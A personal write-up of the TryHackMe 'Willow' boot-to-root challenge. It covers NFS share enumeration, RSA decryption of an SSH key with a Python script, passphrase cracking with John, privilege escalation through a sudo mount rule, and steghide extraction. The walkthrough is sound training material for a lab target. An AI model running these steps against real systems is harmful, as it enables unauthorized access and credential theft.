TryHackMe - Willow writeup
This is a boot-to-root CTF from TryHackMe and the CTF can be found @ https://www.tryhackme.com/room/willow. Key lessons learnt here: RSA algorithm, writing python functions to decrypt messages, cracking SSH key, steganography.
Nmap Scan
First used map -sC -sV 10.10.49.33 -o nmap/norm
for port discovery
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 1024 43:b0:87:cd:e5:54:09:b1:c1:1e:78:65:d9:78:5e:1e (DSA)
| 2048 c2:65:91:c8:38:c9:cc:c7:f9:09:20:61:e5:54:bd:cf (RSA)
| 256 bf:3e:4b:3d:78:b6:79:41:f4:7d:90:63:5e:fb:2a:40 (ECDSA)
|_ 256 2c:c8:87:4a:d8:f6:4c:c3:03:8d:4c:09:22:83:66:64 (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Recovery Page
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 1,2,3 32954/udp6 mountd
| 100005 1,2,3 34195/tcp6 mountd
| 100005 1,2,3 56899/tcp mountd
| 100005 1,2,3 58807/udp mountd
| 100021 1,3,4 38184/udp6 nlockmgr
| 100021 1,3,4 46092/udp nlockmgr
| 100021 1,3,4 51207/tcp6 nlockmgr
| 100021 1,3,4 56448/tcp nlockmgr
| 100024 1 41313/udp status
| 100024 1 46157/tcp6 status
| 100024 1 50576/tcp status
| 100024 1 56043/udp6 status
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 2-3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS/Software Versions
OpenSSH 6.7p1 Debian 5 (protocol 2.0) Apache httpd 2.4.10 ((Debian))
Mount (found juicy stuff!)
Since RPC port is showing some interesting stuff about nfs, trying showmount
to see if theres anything to mount shows the following:
root@kali:~/gitlab_notes/thm/willow# showmount -e 10.10.49.33
Export list for 10.10.49.33:
/var/failsafe *
Seems like I could mount /var/failsafe
so I did just that
root@kali:~/gitlab_notes/thm/willow# mount -vvv 10.10.49.33:/var/failsafe /mnt
mount.nfs: timeout set for Thu Mar 12 10:18:07 2020
mount.nfs: trying text-based options 'vers=4.2,addr=10.10.49.33,clientaddr=10.8.27.201'
mount.nfs: mount(2): Protocol not supported
mount.nfs: trying text-based options 'vers=4.1,addr=10.10.49.33,clientaddr=10.8.27.201'
After mounting it we can see that there is a file named rsa_keys
and its contents showing that there are 2 ‘keys’ each with 2 numbers. RSA uses prime numbers and that is a guess I had when thinking about what this numbers means, it is likely we May be able to use these numbers to get the RSA key (for decrypting something)
root@kali:~/gitlab_notes/thm/willow# cd /mnt
root@kali:/mnt# ls -lta
total 48
drwxr--r-- 2 nobody nogroup 4096 Jan 30 11:31 .
-rw-r--r-- 1 root root 62 Jan 30 11:31 rsa_keys
drwxr-xr-x 19 root root 36864 Jan 27 13:10 ..
root@kali:/mnt# cat rsa_keys
Public Key Pair: (23, 37627)
Private Key Pair: (61527, 37627)
HTTP port 80 (Found juicy stuff!)
Navigating to port 80 shows us of what seem like wall of text consisting numbers
Could this be some hidden text that is ‘encrypted’? I also noticed from this chunk of text that there are alphanumeric characters at the start, after which it is all digits.
Using the “cyberchef” online tool, turning this highlighted text from HEX will reveal the text Hey Willow, here's your SSH Private key -- you know where the decryption key is!
. Bingo! This is definitely related to the public/private key pair found earlier.
Next, I copied out the remaining text that are only digits (appended after the ‘hex-ed’ characters) into decrypted.txt
. At this point I’m pretty sure that RSA algorithm is at play here, given that the hint given is just this url: https://muirlandoracle.co.uk/2020/01/29/rsa-encryption/ which is a RSA algorithm article written by the CTF creator.
From the article I tried to piece the information on how to decrypt a message using the RSA algorithm given the key pair we found.
// From notes
Public Key: (e, n)
Private Key: (d, n)
// From what was found
Public Key Pair: (23, 37627)
Private Key Pair: (61527, 37627)
n = 37627
d = 61527
// From notes, the formula to decrypt message
decrypted = (encrypted ** d) % n
Even though I have the decryption formula, I would not know what values to pass into this decyption formula to get a decrypted message eg. How many digits do I use for decrypting repetitively? Eg. What is the encrypted message format in? Well I know its numbers.
Analysing encrypted message
There is a hint from the message earlier that the cipher text would be a private SSH key. Looking at the format of an SSH key, we know that SSH keys content begin with -----BEGIN RSA PRIVATE KEY-----
.
So the encrypted text has a pattern here too, there are 5 blocks of 3233363720
that are repeated at the start which represents -
character. Looking further, there will be the same 5 blocks digits that represents the closing -----
characters.
I ran these digits through a python script to decrypt it using the formula decrypted = (encrypted ** d) % n
but didn’t get anything that made sense. I would assume the the decrypted value should be convertable to ASCII. I got something after doing some tests and found that there were “delimiters” which is represented by 20
(which turns out it is HEX for SPACE) Argh, I should have tried dumping the whole text into a HEX converter earlier and save all this trouble! Anothing verification that let me infer I am on thr right track is: when using sublime text, I was able to see recurring blocks when using highlight, for an instance, the character “E” in the text “PRIVATE KEY” happened 2 times and is represented by the digits 38363030
.
To test whether I was right, I ran the digits 38363030
which should be the encrypted character “E” digits through a HEX converter (like CyberChef) and got 8600
back. Using our formula again (python) (8600**61527)%37627
returned 69
which is ASCII for E
. Bingo!
To decrypt for the SSH keys I wrote a simple script
encrypted = <dump all the digits here after converted from HEX>
n = 37627
d = 61527
rsakey = ""
for s in encrypted.split(" "):
# formula
# decrypt = (encrypted**d) % n
decrypt = (int(s)**d) % n
# convert number to ascii
rsakey += chr(decrypt)
print(rsakey)
Cracking SSH Key with John
Using ssh2john tool, prep the keys into a John readable format that will be used against a wordlist to crack it later /usr/share/john/ssh2john.py rsa.key > id_rsa.hash
.
Using John we can now crack the keys john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Getting User
To SSH do change permission of the ssh key else there may be issues connecting. Using -v
for verbose mode when login in will reveal this too.
chmod 600 rsa.key
ssh willow@10.10.186.94 -i rsa.key
When prompted for passphrase, use the password cracked from private SSH Keys earlier.
Now that we are in! We see no flag but a user.jpg
. Using scp copy out the file using and opening it revealed the first flag!
scp -i rsa.key willow@10.10.186.94:/home/willow/user.jpg /root/gitlab_notes/thm/willow/user.jpg
firefox user.jpg
Privilege Escalation
Running sudo -l
reveals that we can mount partition
willow@willow-tree:~$ sudo -l
Matching Defaults entries for willow on willow-tree:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User willow may run the following commands on willow-tree:
(ALL : ALL) NOPASSWD: /bin/mount /dev/*
User is able to run mount
as super user for /dev/*
folders. Navigating to /dev
directory listings show that there is a particular partition named hidden_backup
. To mount this, I did the following:
willow@willow-tree:/dev$ mkdir /home/willow/hiddenbak
willow@willow-tree:/dev$ sudo mount /dev/hidden_backup /home/willow/hiddenbak
Navigating to mounted partition shows a file creds.txt
contents seem like root
password. Switch user to root using su - root
and key in the password and we are greeted with root.txt
. Yes! I got the flag! Or do we?
root@willow-tree:~# cat root.txt
This would be too easy, don't you think? I actually gave you the root flag some time ago.
You've got my password now -- go find your flag!
I’m half suspecting that the flag might be in the user.jpg
file earlier. I went to binwalk
it and strings
it but found nothing interesting. Steganography is something I need to improve on. After googling any tools I could use, I went with steghide
and had to install through apt-get
root@kali:~/gitlab_notes/thm/willow# steghide extract -sf user.jpg
Enter passphrase:
wrote extracted data to "root.txt".
It was prompting a passphrase, I tried the passwords found in creds.txt
earlier and found that root
password allows me to extract (the real) root.txt
. Yes! I got the Real flag! This is it!
Lots of love and respect (and awe) for the CTF creator who is only 18 years old MuirlandOracle, looking forward to doing more of his boot-to-roots.